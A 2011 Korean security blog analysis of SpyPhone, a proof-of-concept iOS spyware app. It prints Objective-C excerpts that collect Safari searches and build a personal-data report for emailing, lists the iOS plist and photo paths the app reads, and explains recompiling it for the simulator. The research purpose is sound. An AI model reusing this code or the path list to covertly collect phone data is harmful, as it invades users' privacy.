[연구문서] SpyPhone 분석 및 응용

스마트폰 2011. 4. 8. 14:11 Posted by TEAMCR@K
본 문서는 iPhone iOS 에서 발생되었던 악성코드(웜.바이러스 등) 대하여 작성하였습니다. 해당 내용은 아래와 같이 2개의 주제로 나눠 연재하겠습니다.
 

1. iOS 웜/바이러스/악성코드 특징
2. 'SpyPhone 분석 및 응용'



SpyPhone 분석 및 응용

1. SpyPhone 소개
SpyPhone은 “스위스’의 ‘Nicolas Seriot’에 만들어졌고, 2010년 BlackHat-DC에서 발표된 App입니다.

                                                 [그림 1] iPhone SpyPhone 제작 및 발표자

iPhone OS Version 3.1.2 의 환경(발표되었던 시점에서는 최신 버전)에서 개발되었으며, private APIs를 사용하지 않아 App Store 에 등록을 하기 위해서도Jailbreak 및 Root Shell 권한을 획득할 필요 없는 환경입니다. 단지 plist 정보를 이용하여 개인정보(Personal data)를 확인하는 SpyWare라고 할 수 있습니다.


2. 세부 기능
SpyPhone을 이용하여 다음과 같은 정보를 확인할 수 있으며, 해당 내용들을 자동으로 수집하여 특정 메일주소로 전송할 수 있는 “Report” 기능이 있습니다.

  • Email Accounts
  • Wifi Information
  • Phone Information
  • Location Information
  • Safari Cache Information
  • YouTube Information
  • Photos Information
  • AddressBook Information


3. 분석 환경
● Max OS X 10.6.5
● Xcode 3.2.5
● iPhone 3G (iOS 4.2.1)




SpyPhone 소스 코드 분석


1. 호출 흐름 분석
SpyPhone 어플리케이션의 함수 호출 흐름을 분석한 모습입니다.
                                                                         [그림 2] 호출 흐름도


1. Main 실행
어플리케이션이 실행되는 순간 내부적으로는 main() 함수가 호출됩니다.

2. Auto Release Pool 생성
main 함수는 NSAutorelesePool() 함수를 호출하여, 해당 함수를 호출한 호출한 객체들을 관리하는 메모리 공간을 생성합니다.

main.m

int main(int argc, char *argv[]) {

    NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init];

    int retVal = UIApplicationMain(argc, argv, nil, nil);

    [pool release];

    return retVal;

}


3. Object 생성 및 초기화 / Delegate 연결
UIApplicationMain() 함수는 내부적으로 UIApplication 객체를 하나 생성합니다.

main.m

int retVal = UIApplicationMain(argc, argv, nil, nil);



그리고 info.plist 파일을 분석하여 NSMainNibFile에 지정되어 있는 xib 파일을 읽어옵니다.

SpyPhone-info.plist

...

<key>NSMainNibFile</key>

<string>MainWindow</string>

...


                                               [그림 3] NSMainNibFile 확인


MainWindow.xib 파일에 포함된 View, Window 등의 모든 객체를 생성하고 초기화합니다.
                                                   [그림 3] MainWindow.xib 확인

마지막으로 App Delegate를 연결하여 SpyPhoneAppDelegate.m 의 applicationDidFinishLaunching()를 호출하여 어플리케이션이 초기화되었다고 알려줍니다.


SpyPhoneAppDelegate.m

- (void)applicationDidFinishLaunching:(UIApplication *)application {

   

    // Add the tab bar controller's current view as a subview of the window

    [window addSubview:tabBarController.view];

    

     BOOL isTVOutEnabled = [[NSUserDefaults standardUserDefaults] boolForKey:@"TVOutEnabled"];

     if(isTVOutEnabled) {

        [[UIApplication sharedApplication] startTVOut];

     }

}



4. 각종 이벤트 처리
어플리케이션이 정상적으로 초기화 된 이후에는 각종 이벤트를 처리하는 클래스 및 함수들이 호출되어 어플리케이션의 기능을 실행시켜줍니다.

2. 소스코드 세부 분석
SpyPhone 어플리케이션을 구성하는 항목은 다음과 같습니다.

                                              [그림 5] SpyPhone 구성도
 

● Classes
SpyPhone에서 제공하는 핵심 기능들을 구현하는 주요 소스코드 파일들이 포함되어 있습니다.
● Other Sources
main.m, UIApplication_TVOut.m, SpyPhone_Prefix.pch 등이 포함되어 있습니다.
● Resources
 info.plist, *.xib, Setting.bundle, *.png(아이콘, 이미지) 등이 포함되어 있습니다.
● Frameworks
UIKit, Foundation 등 SpyPhone.app에서 사용하는 각종 프레임워크가 포함되어 있습니다.
● Products
 SpyPhone.app가 위치하는 곳입니다.
● gpl-2.0.txt
 GNU 라이센스를 설명하고 있습니다.


가. SPAllSourcesTVC & SPSources
SPAllSourcesTVC가 호출되면 내부적으로 Email, Wifi, Phone 등 기능별로 연결되는 소스코드를 로딩합니다.

SPAllSourcesTVC.m

- (void)loadSources {

     if(sources) return;

    

     if(!self.isViewLoaded) [self loadView];

    

     self.sources = [NSArray arrayWithObjects:

                              sourceEmailTVC,

                              sourceWifiTVC,

                              sourcePhoneTVC,

                              sourceLocationTVC,

                              sourceSafariTVC,

                              sourceYouTubeTVC,

                              sourcePhotosTVC,

                              sourceAddressBookTVC,

                              sourceKeyboardTVC,

                              nil];

}


또한 사용자가 이메일 리포트를 보낼 수 있는 기능도 구현되어 있습니다.

SPAllSourcesTVC.m

- (NSString *)emailForReport {

     if(!self.isViewLoaded) [self loadView];

 

     return [sourceEmailTVC emailForReport];

}

...

- (NSString *)report {

     [self loadSources];

    

     NSMutableString *s = [NSMutableString string];

    

     for(SPSourceTVC *source in sources) {

        [s appendString:[NSString stringWithFormat:@"----- %@ -----\n\n", [source.title uppercaseString]]];

       

        [source loadData];

        NSArray *a = source.contentsDictionaries;

        for(NSDictionary *d in a) {

               [s appendString:[NSString stringWithFormat:@"[[ %@ ]]\n", [[d allKeys] lastObject]]];

               [s appendString:[[[d allValues] lastObject] componentsJoinedByString:@"\n"]];

               [s appendString:@"\n\n"];

        }

        //[s appendString:@"\n"];

     }

    

     return s;

}


세부적인 기능들은 개별적인 항목과 연계되는 민감한 데이터를 불러오는데, 웹 브라우저인 사파리의 데이터를 읽어오는 부분을 살펴보면 검색기록을 읽어오는 것을 확인할 수 있습니다.

SPSourceSafariTVC.m

- (void)loadData {

     if(contentsDictionaries) return;

 

     self.contentsDictionaries = [NSMutableArray array];

    

     NSString *path = @"/var/mobile/Library/Preferences/com.apple.mobilesafari.plist";

     NSDictionary *d = [NSDictionary dictionaryWithContentsOfFile:path];

     NSArray *searches = [d valueForKey:@"RecentSearches"];

     if(!searches) searches = [NSArray array];

    

     [contentsDictionaries addObject:[NSDictionary dictionaryWithObject:searches forKey:@"Recent Searches"]];

}


전체적으로 SpyPhone에서 읽어들이는 Data는 다음과 같은 것들이 포함됩니다.

SpyPhone에서 읽어들이는 DATA 목록

/var/mobile/Library/Keyboard/

/var/mobile/Library/Preferences/com.apple.accountsettings.plist

/var/mobile/Library/Preferences/com.apple.commcenter.plist

/var/mobile/Library/Preferences/com.apple.mobilephone.settings.plist

/var/mobile/Library/Preferences/com.apple.mobilephone.plist

/var/mobile/Library/Preferences/com.apple.mobilesafari.plist

/var/mobile/Library/Preferences/com.apple.preferences.datetime.plist

/var/mobile/Library/Preferences/com.apple.weather.plist

/var/mobile/Library/Preferences/com.apple.youtube.plist

/var/mobile/Library/Preferences/com.apple.Maps.plist

/var/mobile/Media/DCIM/



나. SPMapVC.m & SPImageVC.m & SPImageAnnotation.m & EXIF
Photos, Map, Location 메뉴 선택 시 사용되는 클래스 및 함수들로 사진 이미지에 포함되어 있는 GEO Tag 정보를 불러오고, 해당 정보를 이용하여 지도에 위치를 표시해 주는 등의 역할을 해 줍니다.
* EXIF means Exchangeable Image File Format.




동작 분석

1. 소스코드 수정
소스에서 불러오는plist 경로가 에뮬레이터와 다르기 때문에 에뮬레이터에서 수집하는 정보를 확인하기 위해서는 에뮬레이터 환경에 맞게 수정하여 재 컴파일 해야 합니다.

                                                                  [그림 6] *.plist 경로 수정


2. 실행 확인
수정된 소스를 다시 컴파일 한 뒤에 확인을 하면 기본설정(Default)에서는 나타나지 않던 정보들이 나타나게 됩니다. 아래 예제는 Safari에서 Google 검색했던 단어들을 확인하는 과정입니다.

                                       [그림 9] plist 파일 수정 후에 실행된 화면


※ Device 환경에서의 상세 분석은 위험성이 존재하여, 현 포스팅에서는 생략합니다.

참고 사항

1. 카테고리 별 프레임워크
카테고리 별로 분류 및 정리된 코코아 프레임워크입니다.

Cocoa

Category

Frameworks

오디오 비디오

Core Audio, Core MIDI, Core Video

그래픽 애니메이션

Core Animation, Core Image, OpenGL, Quartz, QuickTime, QTKit

데이터 관리

Core Data

네트워킹 인터넷

Bonjour, Directory Services, Kerberos

스크립팅 언어와 연결해주는 Cocoa Bridges

AppleScript, Python, Ruby

사용자 응용 프로그램

Address Book, Calendar Store, Instant Message



2. 하위버전 App 컴파일 하기
ios가 4.0으로 업데이트 되면서 그보다 하위버전에 대한 지원을 중단한 상태입니다. 그래서 하위버전으로 컴파일을 할 수는 없지만, Deployment Target Version을 하위버전으로 맞춰줌으로써 디바이스 및 시뮬레이터에서 실행시킬 수 있습니다.


1. Xcode의 메뉴 중 Project > Edit Project Settings를 실행합니다.

                                                       [그림 10] 메뉴 선택

2. Project Info의 Build 탭에서 Base SDK는 가장 최신의 버전으로 선택합니다.

                                                             [그림 29] Base SDK 지정

3. iOS Deployment Target 항목을 실제 어플리케이션이 실행될 수 있는 하위버전으로 설정해 줍니다. (SpyPhone은 iOS 3.1.2에 맞춰서 구현되었습니다.)





참고 자료

[1] iPhone SDK - none Device, dEV, 2009-10-17
http://samurai.tistory.com/entry/iPhone-SDK-none-Device
[2] Mac OS X - Cocoa, Apple Inc.
http://www.apple.com/kr/developer/technologies/mac/cocoa.html
[3] Q&A - iPhone SDK 4 설치후 Base SDK설정관련, Korea iOS Developer Group
http://www.iphoneos.co.kr/zbxe/?mid=tip&page=10&document_srl=46123

댓글을 달아 주세요